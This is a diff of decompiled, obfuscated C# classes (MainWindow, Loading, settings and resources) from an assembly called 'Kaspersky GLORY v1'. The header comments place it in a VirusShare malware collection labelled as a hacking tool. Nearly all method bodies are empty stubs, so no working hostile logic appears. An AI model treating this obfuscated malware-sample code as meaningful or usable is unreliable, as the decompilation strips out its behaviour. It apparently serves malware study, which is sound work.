[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void FleVY7hrK([In] object obj0, [In] EventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.ProgressBar ProgressBar1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Z0dD5EOWJ0OP5vup5f9()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZjAt7dOl0RXfGnHCA6f([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Vh7JcIOyXw91adwLKKV([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void t5FOPKOpuKaeC7pqFXI([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ADahQsOBPDnZTQpJSIK([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void itXkBjOn5NWCRTYmmyc([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void sWZHhuOArPnOLwowDtL([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void jUrxChOmVjVhc2IRS5Y([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool E8E62COOwmUUmu7MUJZ() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool cY9fCxOQYLcVc9cHhxS() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZOI8XEOdWJkqqAsiBeR([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CJs7pZOjudADGeLxqRI([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object kDAfCUOHnwNNA8VCS2O([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static double H2CWUYOkJ6R3o3HNUrt([In] object obj0) => 0.0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void f5YDYpOT1317M5VuuXh([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object aI5e2mOhcVHtIle5GL4([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void xUauJrOE6Kru3L4bFgV([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0038vDAN4O1k8WyRtJEgZb([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ivMhF0O9QFowmxYmXTG([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object fLqNYfOwmLpq2WZKthH([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void S9Vb3TOCZT1TUNujAYE([In] object obj0, [In] int obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void SANT0LO69hqajObCWLv([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object ZxnEI4OeU33iAjl8tbG([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object P2mqmFOVrt6u95xVAtx([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0033N2nISOtfpXcNAD2xT1([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object trmVwFOUtIeqfUx7cAr() => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object \u0039XPW3wObRIBJAn9spuB([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object dh7fMLOPKjR1lT7fdqp([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object FHpZNVOrJonahhu9ZYx([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object sOPJQOOc5TsKy7GkopL([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int wy64ytOSY4xfQMeLXww([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void YBob86OLToVsl9Mchxo([In] object obj0, [In] bool obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static MsgBoxResult X2sWgWOgvRBksPporZn(
|
||||
[In] object obj0,
|
||||
[In] MsgBoxStyle obj1,
|
||||
[In] object obj2)
|
||||
{
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void k2eu3EOKZkbLJWmqsxc([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void hkNKIEOR5hnUXTMdAf8([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Aak9MZOajepxQkHhXab([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void LGS8kpOFiZq9NshFJvV()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void uSh7ilO0m5VS6I6kFvu([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void bOg8IcO3pMN0jZjXpsK([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0031aGBiCO8K8krynh8wuS([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static Loading() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+377
@@ -0,0 +1,377 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.MainWindow
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[DesignerGenerated]
|
||||
[GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
|
||||
public class MainWindow : Window, IComponentConnector
|
||||
{
|
||||
[AccessedThroughProperty("myTimer")]
|
||||
private Timer SsvY5ygtY;
|
||||
[AccessedThroughProperty("Label1")]
|
||||
private System.Windows.Controls.Label \u0038xXCMRTUE;
|
||||
[AccessedThroughProperty("Label2")]
|
||||
private System.Windows.Controls.Label Mnd0ODixC;
|
||||
[AccessedThroughProperty("Label3")]
|
||||
private System.Windows.Controls.Label a6BHg7aZl;
|
||||
[AccessedThroughProperty("Label4")]
|
||||
private System.Windows.Controls.Label \u00305iRvC3Dw;
|
||||
[AccessedThroughProperty("Label5")]
|
||||
private System.Windows.Controls.Label RVCQ5y8jV;
|
||||
[AccessedThroughProperty("Label6")]
|
||||
private System.Windows.Controls.Label iAVvjewXZ;
|
||||
[AccessedThroughProperty("Label7")]
|
||||
private System.Windows.Controls.Label \u0032I7wPSnFY;
|
||||
private bool lMbr5OMgD;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public MainWindow()
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual Timer myTimer
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void CvmOFuRb7([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void ISFmXOES8([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void FleVY7hrK([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0039tjPjswKO([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0038wGy8Btdv([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void HKGk3cGu3([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0034y971Mpj6([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uiDSJP5K6([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
private void \u0037wUA3K5FS([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void StWuGHvv3([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void iepZybAkM([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void TJfGoS1Nc([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void JGRWDvPW7([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void \u0032dt8e7deR([In] object obj0, [In] System.Windows.Input.MouseEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void H10jte8fr([In] object obj0, [In] MouseButtonEventArgs obj1)
|
||||
{
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label1
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label2
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label3
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label4
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label5
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label6
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Controls.Label Label7
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
|
||||
[MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void dUM8fNOiHoUR8ck46dd()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void aj4TFUO7ZrC5yVcItrq([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZFlcCXOXa7uekLqYcoG([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void IoltI9OYLGVZRrNODFV([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void v9CFymODsZJ8w1gtmxc([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZaYsBZOZ6gIIIc1TFD6([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool iaJ8ZqOMEotnXeeXSBI() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool x9CQEfOJ7I3jep1jtHJ() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object InvM4VO2yBnVmqZrk4B([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object tsUqx8O4BUA1IMsY3Tm([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool EklPP2ON9dISVxZVnTx([In] object obj0, [In] object obj1, [In] bool obj2) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Lo6WMIOvnmA56HWdWX1([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void kkwDj1O5wQRipCZpyrZ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object SpdgofOqQXbaK8wo3JQ([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object joZcNiOGFiyaPjYgxAO([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object vvegA9Ou60g13W6qi9O([In] object obj0, [In] object obj1) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object jHU7QtOINrRNu2qO7P9([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object h4DTOKOoITEi77hkiFg([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void QCocEfOzeviOXPay3eA([In] object obj0, [In] double obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object Pm8KtlQx6ZnSP5wgI0b([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object CFGUoBQsclqwNu9Gk4Y([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object lvnqibQf5rElKd98gJF([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object rjmEAmQOKTD3oftgnKF([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void nI8o8iQQqRrtZ9RyN61([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void TjxV8jQWfEeiu3aLX1X()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Dg9trcQlZH7C9KZvMEl([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void v9uh9hQyUB79tlmPtS9([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void EmmdxOQpg3CRK1hX2uV([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void L6DBs1QBoUgKAV307EK([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void arA65fQnM5xyLnnmNia([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u00364cFNXQA5J4YD7kdBe1([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void ZT6Z6JQmSMkaVk5fagE([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0033HGmEXQdYMExs2wxEjQ([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Clw6iKQjv7gyTxlK6X8([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void MP1xpjQHWE1ajSojVT0([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void iMTNbnQksGEuwHcq0us([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void CqFkeVQT1q7DoxelD0c([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void Fs5E3rQhnCRMoljnW4x([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void KlYVS0QESQJtIF0c4mR([In] object obj0, [In] object obj1)
|
||||
{
|
||||
}
|
||||
|
||||
static MainWindow() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+33
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.My.MySettingsProperty
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Kaspersky_GLORY_v1.My
|
||||
{
|
||||
[StandardModule]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (MySettings) null;
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object BIgtgvQ7UweT5lalaDu() => (object) null;
|
||||
|
||||
static MySettingsProperty() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+63
@@ -0,0 +1,63 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.My.Resources.Resources
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Kaspersky_GLORY_v1.My.Resources
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (ResourceManager) null;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] get => (CultureInfo) null;
|
||||
[MethodImpl(MethodImplOptions.NoInlining)] set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool SlUN0pQKg0ejEH6i5G5([In] object obj0, [In] object obj1) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static RuntimeTypeHandle M0GM2jQR9Cwga9da0nt(int token) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl5;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Type AQ2h0tQaWJsUqSZy0Gc([In] RuntimeTypeHandle obj0) => (Type) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0031vFI3tQL4rsEioZ0gP7() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool dWq5q6QgZxqURQdU5vX() => true;
|
||||
|
||||
static Resources() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
}
|
||||
}
|
||||
+64
@@ -0,0 +1,64 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Kaspersky_GLORY_v1.MySettings
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Kaspersky_GLORY_v1
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static MySettings()
|
||||
{
|
||||
\u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
MySettings.upUyIAQ38N7EcSK5LOq();
|
||||
// ISSUE: reference to a compiler-generated field
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
MySettings.defaultInstance = (MySettings) MySettings.ORGOq3Q8tyh8o7eldiP((object) new MySettings());
|
||||
}
|
||||
|
||||
